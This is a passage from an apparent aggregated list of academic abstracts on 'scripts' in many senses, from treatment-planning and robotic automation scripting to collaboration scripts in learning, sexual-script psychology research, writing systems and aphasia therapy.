    A computer program, written in the language of Extended BASIC, is presented which enables scripts, for educational media, to be quickly written in a nearly unformatted style. From the resulting script file, stored on magnetic tape or disk, the computer program formats the script into either a storyboard , a presentation, or a narrator 's script. Script headings and page and paragraph numbers are automatic features in the word processing. Suggestions are given for making personal modifications to the computer program.

  6. IYA2009 newspaper insert in your community

    NASA Astrophysics Data System (ADS)

    Harvey, J.

    2008-06-01

    The Gemini PIO (Public Information Officer) offers suggestions on how to approach your local newspaper about a newspaper insert for your community being published during IYA2009. Local government support, articles by astronomers, advertisers, and appointing someone within your organisation to manage the content will be discussed. We will explain the timeline required, the number of personnel hours required, developmental stages and income a local newspaper would have to generate to produce a quality, table-top supplement. In 2003, over 30,000 copies of Stars over Mauna Kea, a special supplement in tabloid format were produced and distributed in the local newspapers in Hilo, Hawaii. The publication, 48 pages in total, featured profiles of the observatories on Mauna Kea, stories about the geology and legends of Mauna Kea, and historical information about the evolution of astronomy in Hawaii. In additionthe publication included a series of essays titled In their own words. These articles were written by key members of the astronomy community. Sixty thousand copies of Stars over Mauna Kea II were printed as a follow-up to the first edition in 2005. This second edition included an article on the `Imiloa Astronomy Education Center, explanations about the types of telescopes on Mauna Kea and columns written by scientists about the fascinating and significant discoveries made on Hawaii. Personal stories about careers in astronomy were also highlighted. In Chile, a similar eight-page supplement, featuring Gemini, CTIO and SOAR telescopes, was published in 2005 and 5000 copies were distributed throughout the country.

  7. [Preliminary application of scripting in RayStation TPS system].

    PubMed

    Zhang, Jianying; Sun, Jing; Wang, Yun

    2013-07-01

    Discussing the basic application of scripting in RayStation TPS system. On the RayStation 3.0 Platform, the programming methods and the points should be considered during basic scripting application were explored with the help of utility scripts. The typical planning problems in the field of beam arrangement and plan outputting were used as examples by ironprthon language. The necessary properties and the functions of patient object for script writing can be extracted from RayStation system. With the help of NET controls, planning functions such as the interactive parameter input, treatment planning control and the extract of the plan have been realized by scripts. With the help of demo scripts, scripts can be developed in RayStation, as well as the system performance can be upgraded.

  8. CADDIS Volume 4. Data Analysis: PECBO Appendix - R Scripts for Non-Parametric Regressions

    EPA Pesticide Factsheets

    Script for computing nonparametric regression analysis. Overview of using scripts to infer environmental conditions from biological observations, statistically estimating species-environment relationships, statistical scripts.

  9. Asymmetric bias in perception of facial affect among Roman and Arabic script readers.

    PubMed

    Heath, Robin L; Rouhana, Aida; Ghanem, Dana Abi

    2005-01-01

    The asymmetric chimeric faces test is used frequently as an indicator of right hemisphere involvement in the perception of facial affect, as the test is considered free of linguistic elements. Much of the original research with the asymmetric chimeric faces test was conducted with subjects reading left-to-right Roman script, i.e., English. As readers of right-to-left scripts, such as Arabic, demonstrated a mixed or weak rightward bias in judgements of facial affect, the influence of habitual scanning direction was thought to intersect with laterality. We administered the asymmetric chimeric faces test to 1239 adults who represented a range of script experience, i.e., Roman script readers (English and French), Arabic readers, bidirectional readers of Roman and Arabic scripts, and illiterates. Our findings supported the hypothesis that the bias in facial affect judgement is rooted in laterality, but can be influenced by script direction. Specifically, right-handed readers of Roman script demonstrated the greatest mean leftward score, and mixed-handed Arabic script readers demonstrated the greatest mean rightward score. Biliterates showed a gradual shift in asymmetric perception, as their scores fell between those of Roman and Arabic script readers, basically distributed in the order expected by their handedness and most often used script. Illiterates, whose only directional influence was laterality, showed a slight leftward bias.

  10. Magic, science and masculinity: marketing toy chemistry sets.

    PubMed

    Al-Gailani, Salim

    2009-12-01

    At least since the late nineteenth century, toy chemistry sets have featured in standard scripts of the achievement of eminence in science, and they remain important in constructions of scientific identity. Using a selection of these toys manufactured in Britain and the United States, and with particular reference to the two dominant American brands, Gilbert and Chemcraft, this paper suggests that early twentieth-century chemistry sets were rooted in overlapping Victorian traditions of entertainment magic and scientific recreations. As chemistry set marketing copy gradually reoriented towards emphasising scientific modernity, citizenship, discipline and educational value, pre-twentieth-century traditions were subsumed within domestic-and specifically masculine-tropes. These developments in branding strategies point to transformations in both users' engagement with their chemistry sets and the role of scientific toys in domestic play. The chemistry set serves here as a useful tool for measuring cultural change and lay engagement with chemistry.

  11. autokonf - A Configuration Script Generator Implemented in Perl

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Reus, J F

    This paper discusses configuration scripts in general and the scripting language issues involved. A brief description of GNU autoconf is provided along with a contrasting overview of autokonf, a configuration script generator implemented in Perl, whose macros are implemented in Perl, generating a configuration script in Perl. It is very portable, easily extensible, and readily mastered.

  12. A generic template for automated bioanalytical ligand-binding assays using modular robotic scripts in support of discovery biotherapeutic programs.

    PubMed

    Duo, Jia; Dong, Huijin; DeSilva, Binodh; Zhang, Yan J

    2013-07-01

    Sample dilution and reagent pipetting are time-consuming steps in ligand-binding assays (LBAs). Traditional automation-assisted LBAs use assay-specific scripts that require labor-intensive script writing and user training. Five major script modules were developed on Tecan Freedom EVO liquid handling software to facilitate the automated sample preparation and LBA procedure: sample dilution, sample minimum required dilution, standard/QC minimum required dilution, standard/QC/sample addition, and reagent addition. The modular design of automation scripts allowed the users to assemble an automated assay with minimal script modification. The application of the template was demonstrated in three LBAs to support discovery biotherapeutic programs. The results demonstrated that the modular scripts provided the flexibility in adapting to various LBA formats and the significant time saving in script writing and scientist training. Data generated by the automated process were comparable to those by manual process while the bioanalytical productivity was significantly improved using the modular robotic scripts.

  13. Toward a Script Theory of Guidance in Computer-Supported Collaborative Learning

    PubMed Central

    Fischer, Frank; Kollar, Ingo; Stegmann, Karsten; Wecker, Christof

    2013-01-01

    This article presents an outline of a script theory of guidance for computer-supported collaborative learning (CSCL). With its 4 types of components of internal and external scripts (play, scene, role, and scriptlet) and 7 principles, this theory addresses the question of how CSCL practices are shaped by dynamically reconfigured internal collaboration scripts of the participating learners. Furthermore, it explains how internal collaboration scripts develop through participation in CSCL practices. It emphasizes the importance of active application of subject matter knowledge in CSCL practices, and it prioritizes transactive over nontransactive forms of knowledge application in order to facilitate learning. Further, the theory explains how external collaboration scripts modify CSCL practices and how they influence the development of internal collaboration scripts. The principles specify an optimal scaffolding level for external collaboration scripts and allow for the formulation of hypotheses about the fading of external collaboration scripts. Finally, the article points toward conceptual challenges and future research questions. PMID:23378679

  14. The Next Generation of Ground Operations Command and Control; Scripting in C Sharp and Visual Basic

    NASA Technical Reports Server (NTRS)

    Ritter, George; Pedoto, Ramon

    2010-01-01

    This slide presentation reviews the use of scripting languages in Ground Operations Command and Control. It describes the use of scripting languages in a historical context, the advantages and disadvantages of scripts. It describes the Enhanced and Redesigned Scripting (ERS) language, that was designed to combine the features of a scripting language and the graphical and IDE richness of a programming language with the utility of scripting languages. ERS uses the Microsoft Visual Studio programming environment and offers custom controls that enable an ERS developer to extend the Visual Basic and C sharp language interface with the Payload Operations Integration Center (POIC) telemetry and command system.

  15. Violent Attacks and Damaged Victims: An Exploration of the Rape Scripts of European American and African American U.S. College Women.

    PubMed

    Littleton, Heather L; Dodd, Julia C

    2016-02-25

    Scripts are influential in shaping sexual behaviors. Prior studies have examined the influence of individuals' rape scripts. However, these scripts have not been evaluated among diverse groups. The current study examined the rape scripts of African American (n = 72) and European American (n = 99) college women. Results supported three rape scripts: the "real rape," the "party rape," and the mismatched intentions rape, that were equally common. However, there were some differences, with African Americans' narratives more often including active victim resistance and less often containing victim vulnerability themes. Societal and cultural influences on rape scripts are discussed. © The Author(s) 2016.

  16. Novel Technology for Treating Individuals with Aphasia and Concomitant Cognitive Deficits

    PubMed Central

    Cherney, Leora R.; Halper, Anita S.

    2009-01-01

    Purpose This article describes three individuals with aphasia and concomitant cognitive deficits who used state-of-the-art computer software for training conversational scripts. Method Participants were assessed before and after 9 weeks of a computer script training program. For each participant, three individualized scripts were developed, recorded on the software, and practiced sequentially at home. Weekly meetings with the speech-language pathologist occurred to monitor practice and assess progress. Baseline and posttreatment scripts were audiotaped, transcribed, and compared to the target scripts for content, grammatical productivity, and rate of production of script-related words. Interviews were conducted at the conclusion of treatment. Results There was great variability in improvements across scripts, with two participants improving on two of their three scripts in measures of content, grammatical productivity, and rate of production of script-related words. One participant gained more than 5 points on the Aphasia Quotient of the Western Aphasia Battery. Five positive themes were consistently identified from exit interviews: increased verbal communication, improvements in other modalities and situations, communication changes noticed by others, increased confidence, and satisfaction with the software. Conclusion Computer-based script training potentially may be an effective intervention for persons with chronic aphasia and concomitant cognitive deficits. PMID:19158062

  17. Dominant heterosexual sexual scripts in emerging adulthood: conceptualization and measurement.

    PubMed

    Sakaluk, John K; Todd, Leah M; Milhausen, Robin; Lachowsky, Nathan J

    2014-01-01

    Sexual script research (Simon & Gagnon 1969 , 1986 ) bourgeoned following Simon and Gagnon's groundbreaking work. Empirical measurement of sexual script adherence has been limited, however, as no measures exist that have undergone rigorous development and validation. We conducted three studies to examine current dominant sexual scripts of heterosexual adults and to develop a measure of endorsement of these scripts. In Study 1, we conducted three focus groups of men ( n = 19) and four of women ( n = 20) to discuss the current scripts governing sexual behavior. Results supported scripts for sex drive, physical and emotional sex, sexual performance, initiation and gatekeeping, and evaluation of sexual others. In Study 2, we used these qualitative findings to develop a measure of script endorsement, the Sexual Script Scale. Factor analysis of data from 721 participants revealed six interrelated factors demonstrating initial construct validity. In Study 3, confirmatory factor analysis of a separate sample of 289 participants supported the model from Study 2, and evidence of factorial invariance and test-retest reliability was obtained. This article presents the results of these studies, documenting the process of scale development from formative research through to confirmatory testing, and suggests future directions for the continued development of sexual scripting theory.

  18. Gold Digger or Video Girl: the salience of an emerging hip-hop sexual script.

    PubMed

    Ross, Jasmine N; Coleman, Nicole M

    2011-02-01

    Concerns have been expressed in the common discourse and scholarly literature about the negative influence of Hip-Hop on its young listeners' ideas about sex and sexuality. Most of the scholarly literature has focused on the impact of this urban, Black media on young African American girls' sexual self-concept and behaviours. In response to this discourse, Stephens and Phillips (2003) proposed a Hip-Hop sexual scripting model that theorises about specific sexual scripts for young African American women. Their model includes eight different sexual scripts including the Gold Digger script. The present study proposes a ninth emerging script - the Video Girl. Participants were 18 female African American college students, between the ages of 18 and 30 years old from a large urban public university in the Southwest USA. Using q-methodology the present study found support for the existence of a Video Girl script. In addition, the data indicates that this script is distinct but closely related to Stephens and Phillips' Gold Digger script. These findings support their theory by suggesting that Hip-Hop sexual scripts are salient and hold real meaning for this sample.

  19. Shallow and deep orthographies in Hebrew: the role of vowelization in reading development for unvowelized scripts.

    PubMed

    Schiff, Rachel

    2012-12-01

    The present study explored the speed, accuracy, and reading comprehension of vowelized versus unvowelized scripts among 126 native Hebrew speaking children in second, fourth, and sixth grades. Findings indicated that second graders read and comprehended vowelized scripts significantly more accurately and more quickly than unvowelized scripts, whereas among fourth and sixth graders reading of unvowelized scripts developed to a greater degree than the reading of vowelized scripts. An analysis of the mediation effect for children's mastery of vowelized reading speed and accuracy on their mastery of unvowelized reading speed and comprehension revealed that in second grade, reading accuracy of vowelized words mediated the reading speed and comprehension of unvowelized scripts. In the fourth grade, accuracy in reading both vowelized and unvowelized words mediated the reading speed and comprehension of unvowelized scripts. By sixth grade, accuracy in reading vowelized words offered no mediating effect, either on reading speed or comprehension of unvowelized scripts. The current outcomes thus suggest that young Hebrew readers undergo a scaffolding process, where vowelization serves as the foundation for building initial reading abilities and is essential for successful and meaningful decoding of unvowelized scripts.

  20. Contribution to a Theory of CSCL Scripts: Taking into Account the Appropriation of Scripts by Learners

    ERIC Educational Resources Information Center

    Tchounikine, Pierre

    2016-01-01

    This paper presents a contribution to the development of a theory of CSCL scripts, i.e., an understanding of what happens when learners engage in such scripts. It builds on the Script Theory of Guidance (SToG) recently proposed by (Fischer et al. in "Educational Psychologist," 48(1), 56-66, 2013). We argue that, when engaged in a…

  1. Increasing play-based commenting in children with autism spectrum disorder using a novel script-frame procedure.

    PubMed

    Groskreutz, Mark P; Peters, Amy; Groskreutz, Nicole C; Higbee, Thomas S

    2015-01-01

    Children with developmental disabilities may engage in less frequent and more repetitious language than peers with typical development. Scripts have been used to increase communication by teaching one or more specific statements and then fading the scripts. In the current study, preschoolers with developmental disabilities experienced a novel script-frame protocol and learned to make play-related comments about toys. After the script-frame protocol, commenting occurred in the absence of scripts, with untrained play activities, and included untrained comments. © Society for the Experimental Analysis of Behavior.

  2. TH-D-BRB-04: Pinnacle Scripting: Improving Efficiency While Maintaining Safety

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Moore, J.

    2016-06-15

    Scripting capabilities and application programming interfaces (APIs) are becoming commonly available in modern treatment planning systems. These links to the treatment planning system (TPS) allow users to read data from the TPS, and in some cases use TPS functionality and write data back to the TPS. Such tools are powerful extensions, allowing automation of routine clinical tasks and supporting research, particularly research involving repetitive tasks on large patient populations. The data and functionality exposed by scripting/API capabilities is vendor dependent, as are the languages used by script/API engines, such as the Microsoft .NET framework or Python. Scripts deployed in amore » clinical environment must be commissioned and validated like any other software tool. This session will provide an overview of scripting applications and a discussion of best practices, followed by a practical introduction to the scripting capabilities of three commercial treatment planning systems. Learning Objectives: Understand the scripting capabilities available in several treatment planning systems Learn how to get started using scripting capabilities Understand the best practices for safe script deployment in a clinical environment R. Popple, Varian Medical Systems has provided research support unrelated to the topic of this session.R. Cardan, Varian Medical Systems for grant research, product evaluation, and teaching honorarium.« less

  3. Specifying Computer-Supported Collaboration Scripts

    ERIC Educational Resources Information Center

    Kobbe, Lars; Weinberger, Armin; Dillenbourg, Pierre; Harrer, Andreas; Hamalainen, Raija; Hakkinen, Paivi; Fischer, Frank

    2007-01-01

    Collaboration scripts facilitate social and cognitive processes of collaborative learning by shaping the way learners interact with each other. Computer-supported collaboration scripts generally suffer from the problem of being restrained to a specific learning platform. A standardization of collaboration scripts first requires a specification of…

  4. Collaboration Scripts--A Conceptual Analysis

    ERIC Educational Resources Information Center

    Kollar, Ingo; Fischer, Frank; Hesse, Friedrich W.

    2006-01-01

    This article presents a conceptual analysis of collaboration scripts used in face-to-face and computer-mediated collaborative learning. Collaboration scripts are scaffolds that aim to improve collaboration through structuring the interactive processes between two or more learning partners. Collaboration scripts consist of at least five components:…

  5. The role of scripts in psychological maladjustment and psychotherapy.

    PubMed

    Demorest, Amy P

    2013-12-01

    This article considers the value of script theory for understanding psychological maladjustment and psychotherapy. Scripts are implicit expectations that individuals develop to understand and deal with emotionally significant life experiences. Script theory provides a way to understand the complex patterns of thinking, feeling, and behavior that characterize personal consistency, as well as a way to address personality development and change. As such it is a vital model for understanding both personality and clinical phenomena. The article begins by describing script theory and noting similar models in personality and clinical psychology. It then outlines both idiographic and nomothetic methods for assessing scripts and discusses the strengths and weaknesses of each. A survey of the author's program of research follows, using a nomothetic method to examine the role of interpersonal scripts in psychological maladjustment and psychotherapy. The article concludes by presenting a promising method for future research synthesizing idiographic and nomothetic approaches and raising important questions for future research on the role of scripts in psychological maladjustment and psychotherapy. © 2012 Wiley Periodicals, Inc.

  6. ScriptingRT: A Software Library for Collecting Response Latencies in Online Studies of Cognition

    PubMed Central

    Schubert, Thomas W.; Murteira, Carla; Collins, Elizabeth C.; Lopes, Diniz

    2013-01-01

    ScriptingRT is a new open source tool to collect response latencies in online studies of human cognition. ScriptingRT studies run as Flash applets in enabled browsers. ScriptingRT provides the building blocks of response latency studies, which are then combined with generic Apache Flex programming. Six studies evaluate the performance of ScriptingRT empirically. Studies 1–3 use specialized hardware to measure variance of response time measurement and stimulus presentation timing. Studies 4–6 implement a Stroop paradigm and run it both online and in the laboratory, comparing ScriptingRT to other response latency software. Altogether, the studies show that Flash programs developed in ScriptingRT show a small lag and an increased variance in response latencies. However, this did not significantly influence measured effects: The Stroop effect was reliably replicated in all studies, and the found effects did not depend on the software used. We conclude that ScriptingRT can be used to test response latency effects online. PMID:23805326

  7. Automatic script identification from images using cluster-based templates

    DOE Office of Scientific and Technical Information (OSTI.GOV)

    Hochberg, J.; Kerns, L.; Kelly, P.

    We have developed a technique for automatically identifying the script used to generate a document that is stored electronically in bit image form. Our approach differs from previous work in that the distinctions among scripts are discovered by an automatic learning procedure, without any handson analysis. We first develop a set of representative symbols (templates) for each script in our database (Cyrillic, Roman, etc.). We do this by identifying all textual symbols in a set of training documents, scaling each symbol to a fixed size, clustering similar symbols, pruning minor clusters, and finding each cluster`s centroid. To identify a newmore » document`s script, we identify and scale a subset of symbols from the document and compare them to the templates for each script. We choose the script whose templates provide the best match. Our current system distinguishes among the Armenian, Burmese, Chinese, Cyrillic, Ethiopic, Greek, Hebrew, Japanese, Korean, Roman, and Thai scripts with over 90% accuracy.« less

  8. The SMP mobilizes a bright idea: a CSM cinema on wheels.

    PubMed

    1985-01-01

    The Bangladesh Family Planning Social Marketing Project (SMP) provides 1 of the best examples of the use of the mass media to promote social marketing. Using a fleet of 7 vans and 1 motor launch, the SMP brings films about family planning to more than a million rural couples a month living in isolated villages. Each film unit has two 16 mm projectors, a generator, a screen and speaker system and is operated by a projectionist and an assistant. 1 mobile unit gives about 25 shows a month at a cost of $75US per show, or less than 2 cents per person. The message reels and advertising spots were produced in Bangladesh, and the musical numbers are taken from local feature films. Every 3-4 months, the vans switch message and musical films, but all units keep separate copies of the advertising spots for Raja and Panther condoms and Maya and Ovacon pills. The motivational films were developed through extensive research, and they address basic social issues. During the show, various promotional items are sold, including calendars with family planning messages, plastic bags, key rings, and contraceptives. According to Robert Ciszewski, executive director of Population Services International, these mobile films are making a profound social change in Bangladesh.

  9. "Tectonic Petrameter," An Alternative Method to Teaching the Geologic Time Scale

    NASA Astrophysics Data System (ADS)

    Posner, E. S.

    2011-12-01

    I have over a decade of experience as a performance poet and am now a graduate student in the geosciences. I have created a performance poem / play script, "Tectonic Petrameter," as an alternative method of teaching the geologic time scale. "The Archean came next and it was a blast. Tectonic plates were smaller and they moved pretty fast. In an enthusiastic flash of ash, volcanic islands smashed together." The use of rhyme and rhythm presents a different and interdisciplinary approach to teaching Earth history that appeals to a wide range of learning styles and makes science fun, while clearly describing important concepts in geology and events in Earth history. "Now it's time to get down with the Coal Swamp Stomp! Tap your feet to the beat of the formation of peat like a plant plantation soaking up the bright heat." "Tectonic Petrameter" by itself is an illustrated spoken-word poem that leads audiences from all levels of scientific background on an excitingly educational journey through geologic time. I will perform my 10-minute memorized poem and present results from my ongoing study to assess the effectiveness of "Tectonic Petrameter" as a teaching tool in K-12 and introductory undergraduate classroom curricula. I propose that using "Tectonic Petrameter" as a performance piece and theatrical play script in K-12 and introductory undergraduate classrooms, as well as in broader community venues, may be an avenue for breaking down barriers related to teaching about Earth's long and complex history. Digital copies of "Tectonic Petrameter" will be made available to interested parties.

  10. Novel technology for treating individuals with aphasia and concomitant cognitive deficits.

    PubMed

    Cherney, Leora R; Halper, Anita S

    2008-01-01

    This article describes three individuals with aphasia and concomitant cognitive deficits who used state-of-theart computer software for training conversational scripts. Participants were assessed before and after 9 weeks of a computer script training program. For each participant, three individualized scripts were developed, recorded on the software, and practiced sequentially at home. Weekly meetings with the speech-language pathologist occurred to monitor practice and assess progress. Baseline and posttreatment scripts were audiotaped, transcribed, and compared to the target scripts for content, grammatical productivity, and rate of production of script-related words. Interviews were conducted at the conclusion of treatment. There was great variability in improvements across scripts, with two participants improving on two of their three scripts in measures of content, grammatical productivity, and rate of production of scriptrelated words. One participant gained more than 5 points on the Aphasia Quotient of the Western Aphasia Battery. Five positive themes were consistently identified from exit interviews: increased verbal communication, improvements in other modalities and situations, communication changes noticed by others, increased confidence, and satisfaction with the software. Computer-based script training potentially may be an effective intervention for persons with chronic aphasia and concomitant cognitive deficits.

  11. Gender and Ethnicity in Dating, Hanging Out, and Hooking Up: Sexual Scripts Among Hispanic and White Young Adults.

    PubMed

    Eaton, Asia A; Rose, Suzanna M; Interligi, Camille; Fernandez, Katherine; McHugh, Maureen

    2016-09-01

    We examined the scripts associated with heterosexual Hispanic and White young adults' most recent initial sexual or romantic encounter using two samples of heterosexual undergraduates: 224 Hispanic students (49% female) and 316 White students (51% female). Scripts were identified for three types of encounters: dating, hanging out, and hooking up. The three scripts had more than half of their actions in common. Items such as get to know one another, feel aroused, and engage in physical contact were present across all scripts for all participant groups. As expected, traditional gender roles were present within all scripts, but more so for dates than for hangouts and hookups. Men reported a higher presence of traditional gender roles than women across scripts and put a higher priority on the goal of physical intimacy across all scripts. Dating was the most prevalent script for all young adults, contradicting contemporary claims that "dating is dead." In terms of ethnicity, a higher proportion of Hispanic than White young adults went on dates, and a higher proportion of White students went on hookups, implying that social and contextual variables are important in understanding young adults' intimate relationships.

  12. Internal and External Scripts in Computer-Supported Collaborative Inquiry Learning

    ERIC Educational Resources Information Center

    Kollar, Ingo; Fischer, Frank; Slotta, James D.

    2007-01-01

    We investigated how differently structured external scripts interact with learners' internal scripts with respect to individual knowledge acquisition in a Web-based collaborative inquiry learning environment. Ninety students from two secondary schools participated. Two versions of an external collaboration script (high vs. low structured)…

  13. Associations between anxiety and love scripts.

    PubMed

    Gawda, Barbara

    2012-08-01

    Relations between trait anxiety and love scripts expressed in narratives were examined to assess how anxiety affects the perception of love. Stories about love (N = 160) written by 80 men and 80 women were analyzed. The content of the scripts was evaluated in terms of descriptions of actors, partners, expressed emotions of actor and of partner, importance of love, and the ending of the scenario. To test the differences between men and women on content of scripts and associations between trait anxiety level and frequencies of love script elements, a two-way analysis of variance was used. The main effect for sex was significant. There was an effect of trait anxiety on content of love scripts: high anxiety was associated with more frequent negative descriptions of the actor as well as more frequent negative descriptions of the partner's emotions, only in scripts written by women.

  14. Promoting interaction during sociodramatic play: teaching scripts to typical preschoolers and classmates with disabilities.

    PubMed

    Goldstein, H; Cisar, C L

    1992-01-01

    We investigated the effects of teaching sociodramatic scripts on subsequent interaction among three triads, each containing 2 typical children and 1 child with autistic characteristics. The same type and rate of teacher prompts were implemented throughout structured play observations to avoid the confounding effects of script training and teacher prompting. After learning the scripts, all children demonstrated more frequent theme-related social behavior. These improvements in social-communicative interaction were replicated with the training of three sociodramatic scripts (i.e., pet shop, carnival, magic show) according to a multiple baseline design. These effects were maintained during the training of successive scripts and when the triads were reconstituted to include new but similarly trained partners. Results provided support for the inclusion of systematic training of scripts to enhance interaction among children with and without disabilities during sociodramatic play.

  15. Mock Trials: Scripts for Wisconsin Lawyers and Teachers.

    ERIC Educational Resources Information Center

    Wisconsin State Dept. of Public Instruction, Madison. Div. of Instructional Services.

    The document presents scripts prepared by experienced lawyers for seven mock trials. Designed for high school or adult audiences as introductions to the American legal system, the scripts use community lawyers, judges, and law officers as well as actors. Script topics include cases concerning automobile accidents, drunken driving, homicide,…

  16. Performance Scripts Creation: Processes and Applications

    ERIC Educational Resources Information Center

    Lyons, Paul

    2006-01-01

    Purpose: Seeks to explain some of the dynamics of scripts creation as used in training, to offer some theoretical underpinning regarding the influence of script creation on behavior and performance, and to offer some examples of how script creation is applied in training activities. Design/methodology/approach: The paper explains in detail and…

  17. Script Templates: A Practical Approach to Script Training in Aphasia

    ERIC Educational Resources Information Center

    Kaye, Rosalind C.; Cherney, Leora R.

    2016-01-01

    Purpose: Script training for aphasia involves repeated practice of relevant phrases and sentences that, when mastered, can potentially be used in other communicative situations. Although an increasingly popular approach, script development can be time-consuming. We provide a detailed summary of the evidence supporting this approach. We then…

  18. Visual Scripting.

    ERIC Educational Resources Information Center

    Halas, John

    Visual scripting is the coordination of words with pictures in sequence. This book presents the methods and viewpoints on visual scripting of fourteen film makers, from nine countries, who are involved in animated cinema; it contains concise examples of how a storybook and preproduction script can be prepared in visual terms; and it includes a…

  19. Entropic evidence for linguistic structure in the Indus script.

    PubMed

    Rao, Rajesh P N; Yadav, Nisha; Vahia, Mayank N; Joglekar, Hrishikesh; Adhikari, R; Mahadevan, Iravatham

    2009-05-29

    The script of the ancient Indus civilization remains undeciphered. The hypothesis that the script encodes language has recently been questioned. Here, we present evidence for the linguistic hypothesis by showing that the script's conditional entropy is closer to those of natural languages than various types of nonlinguistic systems.

  20. MARATHI READER.

    ERIC Educational Resources Information Center

    APTE, MAHADEO L.

    THE MARATHI LANGUAGE, SPOKEN IN BOMBAY STATE, INDIA, IS WRITTEN IN THE SCRIPT TRADITIONALLY KNOWN AS THE DEVANAGARI SCRIPT. THE SCRIPT IS SYLLABIC IN NATURE, EACH CHARACTER OR LETTER REPRESENTS A SYLLABLE RATHER THAN A CONSONANT OR A VOWEL ALONE. THE MARATHI ALPHABET IS THE ADOPTION OF THE DEVANAGARI SCRIPT WITH A FEW CHANGES AND INNOVATIONS. A…

  1. The Latent Structure of Secure Base Script Knowledge

    ERIC Educational Resources Information Center

    Waters, Theodore E. A.; Fraley, R. Chris; Groh, Ashley M.; Steele, Ryan D.; Vaughn, Brian E.; Bost, Kelly K.; Veríssimo, Manuela; Coppola, Gabrielle; Roisman, Glenn I.

    2015-01-01

    There is increasing evidence that attachment representations abstracted from childhood experiences with primary caregivers are organized as a cognitive script describing secure base use and support (i.e., the "secure base script"). To date, however, the latent structure of secure base script knowledge has gone unexamined--this despite…

  2. Diseases of Landscape Ornamentals. Slide Script.

    ERIC Educational Resources Information Center

    Powell, Charles C.; Sydnor, T. Davis

    This slide script, part of a series of slide scripts designed for use in vocational agriculture classes, deals with recognizing and controlling diseases found on ornamental landscape plants. Included in the script are narrations for use with a total of 80 slides illustrating various foliar diseases (anthracnose, black spot, hawthorn leaf blight,…

  3. Script identification from images using cluster-based templates

    DOEpatents

    Hochberg, J.G.; Kelly, P.M.; Thomas, T.R.

    1998-12-01

    A computer-implemented method identifies a script used to create a document. A set of training documents for each script to be identified is scanned into the computer to store a series of exemplary images representing each script. Pixels forming the exemplary images are electronically processed to define a set of textual symbols corresponding to the exemplary images. Each textual symbol is assigned to a cluster of textual symbols that most closely represents the textual symbol. The cluster of textual symbols is processed to form a representative electronic template for each cluster. A document having a script to be identified is scanned into the computer to form one or more document images representing the script to be identified. Pixels forming the document images are electronically processed to define a set of document textual symbols corresponding to the document images. The set of document textual symbols is compared to the electronic templates to identify the script. 17 figs.

  4. Script identification from images using cluster-based templates

    DOEpatents

    Hochberg, Judith G.; Kelly, Patrick M.; Thomas, Timothy R.

    1998-01-01

    A computer-implemented method identifies a script used to create a document. A set of training documents for each script to be identified is scanned into the computer to store a series of exemplary images representing each script. Pixels forming the exemplary images are electronically processed to define a set of textual symbols corresponding to the exemplary images. Each textual symbol is assigned to a cluster of textual symbols that most closely represents the textual symbol. The cluster of textual symbols is processed to form a representative electronic template for each cluster. A document having a script to be identified is scanned into the computer to form one or more document images representing the script to be identified. Pixels forming the document images are electronically processed to define a set of document textual symbols corresponding to the document images. The set of document textual symbols is compared to the electronic templates to identify the script.

  5. Promoting interaction during sociodramatic play: teaching scripts to typical preschoolers and classmates with disabilities.

    PubMed Central

    Goldstein, H; Cisar, C L

    1992-01-01

    We investigated the effects of teaching sociodramatic scripts on subsequent interaction among three triads, each containing 2 typical children and 1 child with autistic characteristics. The same type and rate of teacher prompts were implemented throughout structured play observations to avoid the confounding effects of script training and teacher prompting. After learning the scripts, all children demonstrated more frequent theme-related social behavior. These improvements in social-communicative interaction were replicated with the training of three sociodramatic scripts (i.e., pet shop, carnival, magic show) according to a multiple baseline design. These effects were maintained during the training of successive scripts and when the triads were reconstituted to include new but similarly trained partners. Results provided support for the inclusion of systematic training of scripts to enhance interaction among children with and without disabilities during sociodramatic play. PMID:1386068

  6. Selected Landscape Plants. Slide Script.

    ERIC Educational Resources Information Center

    McCann, Kevin

    This slide script, part of a series of slide scripts designed for use in vocational agriculture classes, deals with commercially important woody ornamental landscape plants. Included in the script are narrations for use with a total of 253 slides illustrating 92 different plants. Several slides are used to illustrate each plant: besides a view of…

  7. Plasma Interactions with Spacecraft. Volume 1

    DTIC Science & Technology

    2011-04-15

    64-bit MacOS X environments. N2kScriptRunner, a C++ code that runs a Nascap-2k script outside of the Java user interface, was created. Using...Default Script and Original INIVEL Velocity Initialization ..........................................................15 Figure 6. Potentials at 25 µs...Current (Right Scale) Using Default Script and Modified INIVEL Velocity Initialization ........................................................16

  8. Variability in Written Japanese: Towards a Sociolinguistics of Script Choice.

    ERIC Educational Resources Information Center

    Smith, Janet S.; Schmidt, David L.

    1996-01-01

    Tests widely-held associations among script types, genres, writers, and target readers via statistical analysis in popular Japanese fiction. Subjects texts to lexical analysis to see whether choice of vocabulary can account for variability in script selection. Finds that Japanese writers fashion their script type choices to specific contexts, as…

  9. Appropriation from a Script Theory of Guidance Perspective: A Response to Pierre Tchounikine

    ERIC Educational Resources Information Center

    Stegmann, Karsten; Kollar, Ingo; Weinberger, Armin; Fischer, Frank

    2016-01-01

    In a recent paper, Pierre Tchounikine has suggested to advance the Script Theory of Guidance (SToG) by addressing the question how learners appropriate collaboration scripts presented to them in learning environments. Tchounikine's main criticism addresses SToG's "internal script configuration principle." This principle states that in…

  10. Multilingual Education Policy in Practice: Classroom Literacy Instruction in Different Scripts in Eritrea

    ERIC Educational Resources Information Center

    Asfaha, Yonas Mesfun; Kroon, Sjaak

    2011-01-01

    This contribution compares literacy instruction in three different scripts in Eritrea. It uses data stemming from classroom observations of beginning readers of Tigrinya (Ge'ez script), Arabic (Arabic script) and Saho (Roman alphabet), the examination of teaching materials, and teacher interviews. Our analysis focuses on literacy events. We…

  11. Effects of Peer-Mediated Implementation of Visual Scripts in Middle School

    ERIC Educational Resources Information Center

    Ganz, Jennifer B.; Heath, Amy K.; Lund, Emily M.; Camargo, Siglia P. H.; Rispoli, Mandy J.; Boles, Margot; Plaisance, Lauren

    2012-01-01

    Although research has investigated the impact of peer-mediated interventions and visual scripts on social and communication skills in children with autism spectrum disorders, no studies to date have investigated peer-mediated implementation of scripts. This study investigated the effects of peer-implemented scripts on a middle school student with…

  12. Who Benefits from a Low versus High Guidance CSCL Script and Why?

    ERIC Educational Resources Information Center

    Mende, Stephan; Proske, Antje; Körndle, Hermann; Narciss, Susanne

    2017-01-01

